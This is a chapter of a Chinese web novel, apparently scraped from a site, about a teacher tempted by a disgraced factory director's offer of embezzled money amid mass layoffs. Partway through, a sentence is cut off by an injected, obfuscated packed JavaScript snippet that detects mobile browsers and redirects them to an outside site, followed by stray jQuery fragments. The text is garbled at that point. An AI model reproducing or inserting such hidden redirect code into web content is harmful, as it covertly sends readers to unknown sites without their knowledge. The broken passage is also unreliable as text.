43.犹豫

作品:《浴火而生

    事情若是能像大多数夫妻息事宁人一样,也只能算作汪明远和妻子的一场矛盾,充其量,不过让汪明远的内心添上更多的烦闷。


    可汪明远的转机在这个时候来了,在棉纺厂的工人们闹得热火朝天的时候。


    第二批下岗名单出来之后,棉纺厂工人的“起义”再没有消停,甚至还有妻子之前的同事找到汪明远家里,试图劝她也参与他们的行动。


    最开始的行动地点只在棉纺厂,讨要说法的对象也只限于棉纺厂的领导。


    之后,在“有心人”的撺掇之下,行动地点扩展到了大街上,甚至有不可收拾的趋势。


    而讨要说法的对象同样也扩展了,不论上面来了谁都得被讨伐一番,而此时,周厂长已经躲了起来。


    工人队伍的中间,不知道什么时候混入了些地痞流氓,他们明面上跟着讨要说法的工人队伍,暗地里却开始□□,有偷车的,有抢钱的……状况层出不穷。


    警察们早就认识其中的几个地痞流氓,也查清楚了混在其中的“有心人”,为了避免工人们被他们利用,当即抓捕了他们,使得这股浪潮很快平息了下来。


    可工人正义地为了自己的利益发声,却给了蠹虫们机会,他们趁着工人们分心的时候,完成了所有的程序。


    等到工人们泄了气,认了命地去领安置费的时候,却被告知:钱不见了。


    厂里的蠹虫们沆瀣一气,早就趁着工人们不曾察觉的时候,将这笔钱尽数转移,连蠹虫的肉身也一并消失。


    所以,汪明远这段时间的烦心事又多了一件,因为他的家教工作没有了,雇主周厂长早已消失,连女学生和她的母亲也一并不见。


    工厂倒闭的浪潮弥漫整个关图县,下岗了的工人三五成团聚在街上,正是焦躁的时候,一言不合就可能导致一场打架,连累得汪明远上下班的路上也生出许多波澜。


    诸事不顺!诸事不顺!


    汪明远空前的烦躁,相比之下,同妻子的矛盾也成了小事。


    正在这个时候,一个陌生的男子找上了汪明远的家门。


    男子告诉他,自己是周厂长派来的。


    汪明远起初还有些半信半疑,等对方带着他到了一个粮店的后屋,见到久违的周厂长时,他不得不信了。


    眼前的中年男人已经消失了许久,几乎整个关图县的人都在找他,因为一个空穴来风的传言。


    有人自称内部人士,据他透露,工人们的安置费实际上早已经发了下来,到了棉纺厂的账上,却被这位看似公正的周厂长贪墨去了。


    不然,他为什么突然失踪,连家人也一并销声匿迹?


    传言并非虚假,但周厂长知道,这只是半真半假。


    的确,他周维海是拿了钱,这不假!但层层盘剥,到了他手里的还能有多少?怕是连十之一二也没有!


    可那群蠹虫却乐得清闲,把他们自己摘得一干二净,一个个高风亮节,只害得他像个过街老鼠,人人喊打!


    但他周维海又能怎么办?


    那些人他一个都得罪不起,只能担了所有的罪名,打碎了牙,和着鲜血,尽数囫囵往嘴里咽。


    名声臭了,前途也没了。


    妻子本就为了在他身上赌一个未来,老丈人也愿意在他身上下注。


    这会儿看他如同丧家之犬,哪怕认识省城里的人,也不愿意为他疏通,索性直接扔了他这颗弃子。毕竟女婿可以随便换,何必引火上身,连累他自己跟着被泼脏水?


    是啊,反正妻子也年轻,可以再找,何必跟着他担风险?


    更何况……他的情况已经是回天乏术。


    不过幸好,幸好他周维海做了两手准备,刚结婚没多久就认识了另一个“妻子”,还和她有了个女儿。


    周维海盯着汪明远看,看他只是略有震惊,眼里没有丝毫不认可,甚至带了一丝狂热,当下心中就有了数。


    很好,既然是同一类人,事情就更好办了。


    汪明远走出粮店的时候,仍然久久停留在恍惚之中。


    凭着他的直觉和悟性,周维海三言两语,他就明白了。


    关图县的冬天快来了,虽说比不上北方动辄零下几十度的寒冷,但这里的冬天也很不好过。


    而今年因为各种因素倒闭的,不只有棉纺厂一家,关图县另有好些工厂都关停了。这些工厂经过整合,虽然也留有一部分工人,但大多数人还是得另谋出路。


    劳动市场上一下子就多出几千人,关图县只是安城下的一个小县城,如何容纳得下这些多出来的劳动人口?


    更何况安城人自古以来就民风剽悍,脾气火爆,最见不得腌臜和不公。


    他们找不到工作,吃不起饭,安置费还被人偷走了,没有钱买煤炭买柴火,这个冬天还怎么过?


    那些个蠹虫呢,吃香喝辣,穿金戴银。


    两相对比之下,如何不惹人生气?如何不心生怨怼?


    几千人的怨念便好像拧成了一股粗如拇指的麻绳,悬吊在周维海的眼前,时时刻刻就能要了他的狗命!


    事情远不止此。


    之前周维海能趁着工人分心的时候隐匿起来,全是凭着他老丈人的照拂。


    同他断了关系之后,所有人都知道护着他的罩子撤了,那些人暗中施计,所有的脏水都泼到他身上,他便成了偷了所有安置费的罪人。


    谣言愈演愈劣,更是传言他身上带了一大笔钱,以至于人人馋涎欲滴,视他为待宰的大肥羊!


    所以周维海觉察到了无限的危机,他认定自己穷途末路,为今之计就是把钱财留给他的女儿:周琳。


    但是周琳年纪还小,心智不成熟,怎么才能保住这笔钱?


    周维海突然想到了女儿的家庭教师,汪明远。


    选他没有特殊的原因,一是女儿曾经表达过对他的好感,二是他早就看出汪明远是个贪财之人,这种人必然不会将手里的钱轻易交出去,哪怕这钱财来路不正。


    周维海甚至做了最坏的打算,要是这人拿了钱翻脸不认人,反将他的女儿踢出局,那他就让几个亲信放出消息,让他汪明远也处于待宰羔羊的处境。


    到时候,那些想着趁机发一笔横财的人,自然会将他啃得连骨头也不剩。


    汪明远就这样,站在周维海的贼船前头,对方刻意设计、精心挑选,向他伸出了手。


    但汪明远迟迟没有同样伸出手来,因为他还在犹豫。


    与虎谋皮,稍有不慎,就是粉身碎骨。


    先别说周维海是否可靠,要是周琳和他的关系被关图县的人知道了,到时候自己再同她搅和在一起,怕是小命难保。


    何况,他要是上了贼船,必然就要娶周琳,那妻子和孩子又该怎么办?


    汪明远从河阴村这个小地方,一步步走到今天,其中种种不易和曲折,只有他最知道。


    一步走错,步步走错。


    穷人一个错误的选择,就是致命的打击。


    所以虽然面对巨额的财富,汪明远还是犹豫了。


    不过周维海没有给他太多考虑的时间,只有三天,三天定贫富,三天搏前程。


    但说来凑巧,正在此时,冥冥之中命运从他身后推着他,迫使他做出了选择。


    “登东皋以舒啸,临清流而赋诗。”


    这是他受挫之后,暗暗对自己的期待,旨在日日提醒自己,摒弃对名利的欲望,从今之后只和家人过平凡人的日子就好。


    不过他虽然这样想,却到底没有根本地放在心上。


    树欲静,风不止,可他这棵树也没真正想静下来。


    所以周维海面对工人声讨时,一个看似能呼风唤雨的姿态,就能搅得他心神不宁;周琳这个蠢人凭借一个私生女的身份,就能让他装出来的淡泊原形毕露。


    所以,与其说是命运捉弄他,从他身后轻轻一推,倒不如说,是他根本渴望命运能站在他身后,同他一道做出那个选择。


    此刻,命运站在了他身后。


    见了周维海的第二日,汪明远故作镇定地照常去学校上课。


    一个平日里同他来往不多的同事,在他下了课之后,莫名地把他叫到角落处。


    汪明远起初还觉得有些奇怪,听完对方的话语后,随即大怒起来。


    “哎呀,汪老师你先别生气,我也是听别人讲的,信息不保真。”同事见他攥紧了拳头,身体隐隐有些发颤,害怕他出事,赶紧安慰道。


    “如果这消息是真的,你也别往心里去,不是你的错!只是啊,有些人见不得人好,怕你抢了他的位置!”


    同事偷偷瞥了一眼坐在角落的年级主任,他就是当初半路杀出来的程咬金。


    自他挤掉汪明远的升职之路后,横竖对后者看不顺眼。


    才德不配,就容易心生疑窦,所以这次汪明远又无端遭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214635|179109||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了他的祸害。


    此人极力向新来的校长诋毁,说汪明远仗着自己的教学成绩,谁也不放在眼里。不但看不上同事,连新校长也看不上,只愿意听从老校长的差遣,不然这段日子为什么带的两个班级都成绩下滑?


    这分明就是个下马威!


    新校长对前一句话持保留态度,毕竟年级主任和汪老师的龃龉,他已有耳闻。但是学生成绩下滑,是客观的指标,白纸黑字摆在眼前,由不得抵赖或者添油加醋。


    再加上汪明远对他不咸不淡的态度,结合老师们嘴里汪明远对老领导毕恭毕敬的风格,两相对比不可谓不清楚,新校长因此认定:这确是赤裸裸的下马威。


    所以汪明远被寻了个由头调岗了,调离教学岗位,负责学校后勤。


    不是汪明远对教学有特殊的执着,也不是他对学生有如何的爱护,而是一个不到三十岁的青年教师,有功无过,不但不被嘉奖,反而被人从三尺讲台放逐。


    天大的笑话!


    汪明远攥紧的拳头带动着他全身瑟瑟发抖,抖得他双脚快要站不住,抖得他四周的景象天旋地转。


    他气得冷汗直流,仿佛置身冰窖。


    更气人的是,汪明远不经意间看到了那个矮胖的年级主任,他在冲着自己笑,笑中带着快意,带着轻蔑,带着一个名不副实的胜利者的傲慢。


    汪明远缓了再缓,终于稍稍平复下来。


    当天下了班之后,他先是去了一趟银行,而后厚着脸皮,弯腰欠身去了打听来的新校长的住处。


    没人知道汪明远找新校长说了些什么,只是第二天起,他不用调岗了。


    汪明远动摇了。


    而事情还不算完,彻底帮他做出选择的,是他的一个学生。


    未必是真在乎学生的前程,但他们的成绩是汪明远能往上爬的唯一手段,是他为数不多的凭借,所以他对学生的要求极高极严。


    那时的学生大多数单纯、听话,视老师的话为圣旨,家长也不多事,只要孩子能有成绩,什么都好说。


    只除了那一个学生。


    第二日,一个学生上课睡觉,还发出震天的呼噜声,所以被汪明远喊起来罚站。


    在家里娇生惯养的“小皇帝”,睡得迷迷瞪瞪,一睁眼就被全班同学的几十双眼睛围观。


    看笑话、幸灾乐祸、嘲笑、讽刺……总之,众人都等着他落在学校要求最严格的老师手里,给繁重无趣的生活一点别样的点缀。


    “小皇帝”登时觉得丢尽了脸面,他站起来之后,恶从心头起,怒向胆边生,当着全班同学的面,猛地甩了汪明远一记响亮的耳光,打得他不敢置信地愣怔在原地。


    被看笑话的对象一下子转移,学生们满眼期待,等着一场新的大战爆发。


    只是看笑话,只是袖手旁观,只是事不关己高高挂起。


    没有人关心无端挨打的汪老师,从头到尾只有他一个人,念书的时候是,工作的时候还是。


    事情仍不算完。


    那“小皇帝”绝不饶人,哪怕没理。于是当天下午他叫来了家长,同他一道找新校长理论。


    家长身份如何,汪明远不甚清楚,只是当他看到新校长对着两名家长点头哈腰,一如他昨日对校长的时候,他就很清楚了,学校绝对不会站在自己这边。


    恍惚之中,新校长的脸和中专女教师的脸,重合了。


    两人都有些胖胖的,戴着一副黑色的眼睛,看着善良可爱,有着相当的亲和力。


    平日里对他汪明远嘘寒问暖、关怀备至,略施小惠就能哄得他鞍前马后、义不容辞,也总会在关键时候把他像垃圾一样踢开,露出最怨毒的鄙夷。


    事情的最后,当天晚些时候,汪明远在教室里当着全部学生的面,因为他粗鲁的教学方式,低头欠身,给学生道歉,也给学生家长道歉。


    而他白白挨的一记耳光,无人在意。


    一阵迷茫之中,他听到了潜意识传来的声音,那是周维海两日前对他说的话:三日为期,你要是决定了,就来这里找我。


    潜意识的欲望和他目前的处境不能相容。


    最初,它们每碰撞到一起,便发出轰鸣尖锐的声响,接着传递到他四肢百骸,让他头皮发麻;渐渐地,他们却好像齿轮,合在一块儿,再也没有噪音,再也没有惊惧,只剩下金属咬合在一起的规律节拍……


    汪明远做出了选择。